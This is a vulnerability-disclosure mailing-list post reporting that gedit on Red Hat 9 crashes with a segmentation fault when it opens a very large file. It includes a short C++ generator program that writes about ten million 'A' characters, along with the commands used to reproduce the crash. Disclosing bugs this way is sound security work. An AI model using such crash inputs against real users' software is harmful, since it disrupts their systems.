simple bufferoverflow in gedit
Andreas "Constantinides (MegaHz)" <[email protected]>
| Newsgroups | gmane.comp.security.vulnerabilities.watch.announce |
|---|---|
| Message-ID | <1069598302.8830.24.camel__42815.5527021319$1069812902@megahz> |
Hello,
I discover a strange but simple buffer overflow in gedit.
I am using RH9,
to demostrate the buffer here is a simple file buffer generator:
===========buffer.c == cut here===============
/*
simple buffer overflow generator by MegaHz [email protected]
*/
#include <iostream>
using namespace std;
int main()
{
int i;
for (i=0;i<=9999999;i++)
{
cout << "A";
}
return 0;
}
===========================================
# g++ -o buffer buffer.c
# ./buffer > lala
# gedit lala
Segmentation fault
#
MegaHz (Andreas Constantinides)
www.megahz.org
www.cyhackportal.com